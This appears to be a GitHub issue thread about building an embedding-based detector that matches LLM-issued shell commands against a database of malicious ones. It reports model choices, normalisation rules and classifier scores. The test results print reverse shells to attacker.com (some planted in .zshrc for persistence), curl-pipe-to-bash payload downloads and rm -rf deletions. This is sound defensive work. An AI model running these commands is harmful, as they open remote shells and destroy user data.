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Command embedding #730
Description
Aim: Explore a basic prototype for creating a vector database of malicious shell commands to compare LLM system commands to.
- Create vector database file
- Selective normalisation for file paths, usernames, variables etc
- Create embeddings of normalised command
- Read Promptwright JSONL dataset, input embeddings to DB
- Use some similarity metric to compare an input to the entries in the DB
- Test with known malicious and known benign cases
To do:
- Look into specialised embeddings models for dealing with code rather than generic text
- Consider options for normalisation
- Consider options for similarity metric use
- How to deal with the malicious command being surrounded by benign commands
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poppysec commentedon Jan 22, 2025
Embeddings models
I tried out
huggingface/CodeBERTa-small-v1but the performance was quite poor. The false positive rate was high even for very high similarity scores.Salesforce/codet5-base is specifically pretrained for tasks involving code and commands, and has cross-language support. So far the performance is better.
e.g. getting top 3 most similar (by cosine similarity) from the vector DB
Some known malicious examples
Results for
bash -i >& /dev/tcp/attacker.com/4444 0>&1Description: Modifying a user's .zshrc file to persistently execute malicious code.
Command:
echo 'bash -i >& /dev/tcp/attacker.com/<PORT> <PORT>>&<PORT>' >> ~/.zshrcSimilarity: 0.9167367815971375
Description: Establishing a reverse shell using bash history manipulation.
Command:
echo 'bash -i >& /dev/tcp/attacker.com/<PORT> <PORT>>&<PORT>' >> ~/.bash_historySimilarity: 0.9134513735771179
Description: Malicious modification of hidden files to evade detection
Command:
echo 'bash -i >& /dev/tcp/attacker.com/<PORT> <PORT>>&<PORT>' >> ~/.Spotlight-V100Similarity: 0.9072197079658508
Results for
curl -fsSL http://malicious-url.com/beacon.sh | bashDescription: Sudo misuse: Installing malicious software silently.
Command:
sudo curl -sL <URL> | bashSimilarity: 0.9223264455795288
Description: Malicious shell command to download and execute a payload from an onion service using Tor.
Command:
curl -s --url '<URL>' | bashSimilarity: 0.8874844312667847
Description: Hidden process: Executing malicious payload directly in memory using bash.
Command:
/bin/bash -c "curl -fsSL <URL> | bash"Similarity: 0.8489115238189697
Results for
rm -rf ~/Documents/*Description: Malicious removal of files using rm command
Command:
rm -rf ~/Documents/*Similarity: 1.0000001192092896
Description: Executing destructive operations by deleting sensitive directories
Command:
rm -rf ~/Documents/ImportantFiles/*Similarity: 0.8761441707611084
Description: Deleting files in /Users/ using sudo without timestamp.
Command:
sudo rm -rf /Users/*Similarity: 0.8414553999900818
Known benign examples
Results for
cd ~/DocumentsDescription: Deleting files recursively using rm
Command:
rm -rf /UsersSimilarity: 0.6979251503944397
Description: Malicious removal of files using rm command
Command:
rm -rf ~/Documents/*Similarity: 0.6330024600028992
Description: Sudo misuse: Executing unauthorized command using sudo.
Command:
sudo rm -rf /important/dataSimilarity: 0.6205794811248779
Results for
mkdir ProjectsDescription: Deleting files recursively using rm
Command:
rm -rf /UsersSimilarity: 0.6372671127319336
Description: Escalating privileges using sudo su
Command:
sudo suSimilarity: 0.5862594842910767
Results for
brew updateDescription: Enumerate all user IDs using 'getent' command.
Command:
getent passwdSimilarity: 0.6533409953117371
Description: Sudo misuse: Escalating privileges by executing an arbitrary command
Command:
sudo -iSimilarity: 0.6374186873435974
Description: Escalating privileges using sudo -i to gain root access
Command:
sudo -iSimilarity: 0.6374186873435974
We would need a high similarity threshold such as 0.85 or 0.9
poppysec commentedon Jan 28, 2025
Command normalising
Working on top of Nigel's classifier work here - command_models.ipynb, I've added another notebook with a command normaliser class - command_models_norm.ipynb
I also expanded the "rule set" for critical file paths and extensions to preserve throughout normalisation - critical file paths to preserve for macOS, Linux, and Windows:
{ "macOS": { "critical_paths": [ "/Library/LaunchDaemons", "/System/Library/LaunchDaemons", "/Library/LaunchAgents", "/System/Library/LaunchAgents", "/Users/<USER>/Library/LaunchAgents", "/etc", "/etc/cron.d/", "/etc/cron.daily/", "/etc/cron.hourly/", "/etc/cron.monthly/", "/etc/cron.weekly/", "/etc/rc.common", "/etc/rc.local", "/var/log", "/usr/local/bin", "/usr/local/sbin", "/usr/bin", "/usr/sbin", "/Library/Extensions", "/System/Library/Extensions", "/System/Library/StartupItems", "/Library/StartupItems", "/Applications", "/Library/Application Support", "/Users/<USER>/Library/Application Support", "/Users/<USER>/Library/Preferences/com.apple.loginitems.plist", "/Users/<USER>/Library/Application Scripts/", "/Users/<USER>/Library/Saved Application State/", "/Users/<USER>/Library/Preferences/com.apple.loginwindow.plist", "/Users/<USER>/Library/Mobile Documents/", "/Library/Preferences/SystemConfiguration/", "/private/etc/sudoers", "/private/etc/hosts", "/private/var/tmp/", "/private/tmp/", "/var/folders/", "/Library/Caches/", "/Users/<USER>/Library/Caches/", "/Users/<USER>/Library/Scripts/", "/Users/<USER>/Desktop/", "/Users/<USER>/Downloads/", "/Users/<USER>/Documents/", "/Users/<USER>/Library/Safari/", "/Users/<USER>/Library/Application Support/Google/Chrome/Default/", "/Users/<USER>/Library/Application Support/Firefox/Profiles/", "/Users/<USER>/Library/Cookies/", "/Users/<USER>/Library/Containers/com.apple.Virtualization/", "/Users/<USER>/Library/Containers/", "/Library/Preferences/com.apple.networkextension.plist", "/private/var/log/diagnosticd.log" ], "file_patterns": [ "\\.plist$", "\\.sh$", "\\.bash$", "\\.bashrc$", "\\.bash_profile$", "\\.zsh$", "\\.zshrc$", "\\.zsh_profile$", "\\.conf$", "\\.log$", "\\.py$", "\\.exe$", "\\.dll$", "\\.dylib$", "\\.so$", "\\.pem$", "\\.key$", "\\.crt$", "\\.txt$", "\\.json$", "\\.xml$", "\\.zip$", "\\.tar$", "\\.gz$", "\\.tgz$", "\\.tar\\.gz$", "\\.kext$", "\\.app$", "\\.pkg$", "\\.mobileconfig$", "\\.db$", "\\.sqlite$" ] }, "Linux": { "critical_paths": [ "/etc/", "/var/log/", "/usr/bin/", "/usr/sbin/", "/usr/local/bin/", "/usr/local/sbin/", "/tmp/", "/var/tmp/", "/home/<USER>/", "/root/", "/lib/", "/lib64/", "/opt/", "/proc/", "/sys/", "/run/", "/boot/", "/dev/", "/mnt/", "/media/" ], "file_patterns": [ "\\.sh$", "\\.bash$", "\\.bashrc$", "\\.bash_profile$", "\\.zshrc$", "\\.zsh_profile$", "\\.conf$", "\\.log$", "\\.py$", "\\.so$", "\\.pem$", "\\.key$", "\\.crt$", "\\.txt$", "\\.json$", "\\.xml$", "\\.gz$", "\\.tar$", "\\.tgz$", "\\.tar\\.gz$", "\\.db$", "\\.sqlite$", "\\.service$", "\\.timer$", "\\.socket$" ] }, "Windows": { "critical_paths": [ "C:\\Windows\\System32\\", "C:\\Windows\\SysWOW64\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\ProgramData\\", "C:\\Users\\<USER>\\AppData\\Local\\", "C:\\Users\\<USER>\\AppData\\Roaming\\", "C:\\Users\\<USER>\\Documents\\", "C:\\Users\\<USER>\\Downloads\\", "C:\\Users\\<USER>\\Desktop\\", "C:\\Users\\<USER>\\Pictures\\", "C:\\Users\\<USER>\\Videos\\", "C:\\Users\\<USER>\\Music\\", "C:\\Users\\<USER>\\Favorites\\", "C:\\Users\\<USER>\\Contacts\\", "C:\\Users\\<USER>\\Links\\", "C:\\Users\\<USER>\\Searches\\", "C:\\Users\\<USER>\\Saved Games\\", "C:\\Windows\\Temp\\", "C:\\Users\\<USER>\\AppData\\Local\\Temp\\", "C:\\Windows\\System32\\drivers\\", "C:\\Windows\\System32\\Tasks\\", "C:\\Windows\\System32\\config\\", "C:\\Windows\\System32\\LogFiles\\", "C:\\Windows\\System32\\spool\\", "C:\\Windows\\System32\\winevt\\Logs\\" ], "file_patterns": [ "\\.exe$", "\\.dll$", "\\.bat$", "\\.cmd$", "\\.ps1$", "\\.vbs$", "\\.js$", "\\.log$", "\\.txt$", "\\.ini$", "\\.conf$", "\\.xml$", "\\.json$", "\\.reg$", "\\.msi$", "\\.cab$", "\\.zip$", "\\.rar$", "\\.7z$", "\\.pem$", "\\.key$", "\\.crt$", "\\.pfx$", "\\.db$", "\\.sqlite$", "\\.lnk$", "\\.tmp$", "\\.sys$" ] }, "ip_pattern": "\\b\\d{1,3}(\\.\\d{1,3}){3}\\b", "user_home_pattern": { "macOS": "/Users/\\w+", "Linux": "/home/\\w+", "Windows": "C:\\\\Users\\\\\\w+" }, "port_pattern": "\\b\\d{2,5}\\b", "url_pattern": "https?://[\\w.-]+(/[\\w.-]*)*" }Applying normalisation before embedding and classifying
{'all-MiniLM-L6-v2': {'true_positive': 20, 'false_positive': 3, 'true_negative': 14, 'false_negative': 13}, 'all-MiniLM-L6-v2-norm': {'true_positive': 21, 'false_positive': 3, 'true_negative': 14, 'false_negative': 12}, 'hybrid-all-MiniLM-L6-v2-norm-True': {'true_positive': 23, 'false_positive': 3, 'true_negative': 14, 'false_negative': 10}, 'hybrid-all-MiniLM-L6-v2-norm-False': {'true_positive': 25, 'false_positive': 3, 'true_negative': 14, 'false_negative': 8}}HybridClassifier (neural network) has higher sensitivity without normalising.
Need to try out with a bigger dataset of commands.
poppysec commentedon Feb 4, 2025